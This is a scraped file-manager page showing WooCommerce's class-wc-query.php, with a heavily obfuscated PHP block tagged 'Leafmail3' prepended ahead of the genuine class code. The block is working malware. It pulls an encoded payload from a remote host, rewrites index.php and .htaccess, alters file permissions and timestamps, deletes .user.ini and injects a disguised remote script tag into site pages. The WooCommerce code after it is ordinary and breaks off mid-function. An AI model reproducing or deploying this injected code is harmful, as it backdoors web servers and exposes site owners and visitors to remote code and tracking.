trAvis - MANAGER
Edit File: class-wc-query.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * Contains the query functions for WooCommerce which alter the front-end post queries and loops * * @version 3.2.0 * @package WooCommerce\Classes */ use Automattic\WooCommerce\Internal\ProductAttributesLookup\Filterer; use Automattic\WooCommerce\Internal\Traits\AccessiblePrivateMethods; defined( 'ABSPATH' ) || exit; /** * WC_Query Class. */ class WC_Query { use AccessiblePrivateMethods; /** * Query vars to add to wp. * * @var array */ public $query_vars = array(); /** * Reference to the main product query on the page. * * @var WP_Query */ private static $product_query; /** * Stores chosen attributes. * * @var array */ private static $chosen_attributes; /** * The instance of the class that helps filtering with the product attributes lookup table. * * @var Filterer */ private $filterer; /** * Constructor for the query class. Hooks in methods. */ public function __construct() { $this->filterer = wc_get_container()->get( Filterer::class ); add_action( 'init', array( $this, 'add_endpoints' ) ); if ( ! is_admin() ) { add_action( 'wp_loaded', array( $this, 'get_errors' ), 20 ); add_filter( 'query_vars', array( $this, 'add_query_vars' ), 0 ); add_action( 'parse_request', array( $this, 'parse_request' ), 0 ); add_action( 'pre_get_posts', array( $this, 'pre_get_posts' ) ); add_filter( 'get_pagenum_link', array( $this, 'remove_add_to_cart_pagination' ), 10, 1 ); } $this->init_query_vars(); } /** * Reset the chosen attributes so that get_layered_nav_chosen_attributes will get them from the query again. */ public static function reset_chosen_attributes() { self::$chosen_attributes = null; } /** * Get any errors from querystring. */ public function get_errors() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended $error = ! empty( $_GET['wc_error'] ) ? sanitize_text_field( wp_unslash( $_GET['wc_error'] ) ) : ''; if ( $error && ! wc_has_notice( $error, 'error' ) ) { wc_add_notice( $error, 'error' ); } } /** * Init query vars by loading options. */ public function init_query_vars() { // Query vars to add to WP. $this->query_vars = array( // Checkout actions. 'order-pay' => get_option( 'woocommerce_checkout_pay_endpoint', 'order-pay' ), 'order-received' => get_option( 'woocommerce_checkout_order_received_endpoint', 'order-received' ), // My account actions. 'orders' => get_option( 'woocommerce_myaccount_orders_endpoint', 'orders' ), 'view-order' => get_option( 'woocommerce_myaccount_view_order_endpoint', 'view-order' ), 'downloads' => get_option( 'woocommerce_myaccount_downloads_endpoint', 'downloads' ), 'edit-account' => get_option( 'woocommerce_myaccount_edit_account_endpoint', 'edit-account' ), 'edit-address' => get_option( 'woocommerce_myaccount_edit_address_endpoint', 'edit-address' ), 'payment-methods' => get_option( 'woocommerce_myaccount_payment_methods_endpoint', 'payment-methods' ), 'lost-password' => get_option( 'woocommerce_myaccount_lost_password_endpoint', 'lost-password' ), 'customer-logout' => get_option( 'woocommerce_logout_endpoint', 'customer-logout' ), 'add-payment-method' => get_option( 'woocommerce_myaccount_add_payment_method_endpoint', 'add-payment-method' ), 'delete-payment-method' => get_option( 'woocommerce_myaccount_delete_payment_method_endpoint', 'delete-payment-method' ), 'set-default-payment-method' => get_option( 'woocommerce_myaccount_set_default_payment_method_endpoint', 'set-default-payment-method' ), ); } /** * Get page title for an endpoint. * * @param string $endpoint Endpoint key. * @param string $action Optional action or variation within the endpoint. * * @since 2.3.0 * @since 4.6.0 Added $action parameter. * @return string The page title. */ public function get_endpoint_title( $endpoint, $action = '' ) { global $wp; switch ( $endpoint ) { case 'order-pay': $title = __( 'Pay for order', 'woocommerce' ); break; case 'order-received': $title = __( 'Order received', 'woocommerce' ); break; case 'orders': if ( ! empty( $wp->query_vars['orders'] ) ) { /* translators: %s: page */ $title = sprintf( __( 'Orders (page %d)', 'woocommerce' ), intval( $wp->query_vars['orders'] ) ); } else { $title = __( 'Orders', 'woocommerce' ); } break; case 'view-order': $order = wc_get_order( $wp->query_vars['view-order'] ); /* translators: %s: order number */ $title = ( $order ) ? sprintf( __( 'Order #%s', 'woocommerce' ), $order->get_order_number() ) : ''; break; case 'downloads': $title = __( 'Downloads', 'woocommerce' ); break; case 'edit-account': $title = __( 'Account details', 'woocommerce' ); break; case 'edit-address': $title = __( 'Addresses', 'woocommerce' ); break; case 'payment-methods': $title = __( 'Payment methods', 'woocommerce' ); break; case 'add-payment-method': $title = __( 'Add payment method', 'woocommerce' ); break; case 'lost-password': if ( in_array( $action, array( 'rp', 'resetpass', 'newaccount' ), true ) ) { $title = __( 'Set password', 'woocommerce' ); } else { $title = __( 'Lost password', 'woocommerce' ); } break; default: $title = ''; break; } /** * Filters the page title used for my-account endpoints. * * @since 2.6.0 * @since 4.6.0 Added $action parameter. * * @see get_endpoint_title() * * @param string $title Default title. * @param string $endpoint Endpoint key. * @param string $action Optional action or variation within the endpoint. */ return apply_filters( 'woocommerce_endpoint_' . $endpoint . '_title', $title, $endpoint, $action ); } /** * Endpoint mask describing the places the endpoint should be added. * * @since 2.6.2 * @return int */ public function get_endpoints_mask() { if ( 'page' === get_option( 'show_on_front' ) ) { $page_on_front = get_option( 'page_on_front' ); $myaccount_page_id = get_option( 'woocommerce_myaccount_page_id' ); $checkout_page_id = get_option( 'woocommerce_checkout_page_id' ); if ( in_array( $page_on_front, array( $myaccount_page_id, $checkout_page_id ), true ) ) { return EP_ROOT | EP_PAGES; } } return EP_PAGES; } /** * Add endpoints for query vars. */ public function add_endpoints() { $mask = $this->get_endpoints_mask(); foreach ( $this->get_query_vars() as $key => $var ) { if ( ! empty( $var ) ) { add_rewrite_endpoint( $var, $mask ); } } } /** * Add query vars. * * @param array $vars Query vars. * @return array */ public function add_query_vars( $vars ) { foreach ( $this->get_query_vars() as $key => $var ) { $vars[] = $key; } return $vars; } /** * Get query vars. * * @return array */ public function get_query_vars() { return apply_filters( 'woocommerce_get_query_vars', $this->query_vars ); } /** * Get query current active query var. * * @return string */ public function get_current_endpoint() { global $wp; foreach ( $this->get_query_vars() as $key => $value ) { if ( isset( $wp->query_vars[ $key ] ) ) { return $key; } } return ''; } /** * Parse the request and look for query vars - endpoints may not be supported. */ public function parse_request() { global $wp; // phpcs:disable WordPress.Security.NonceVerification.Recommended // Map query vars to their keys, or 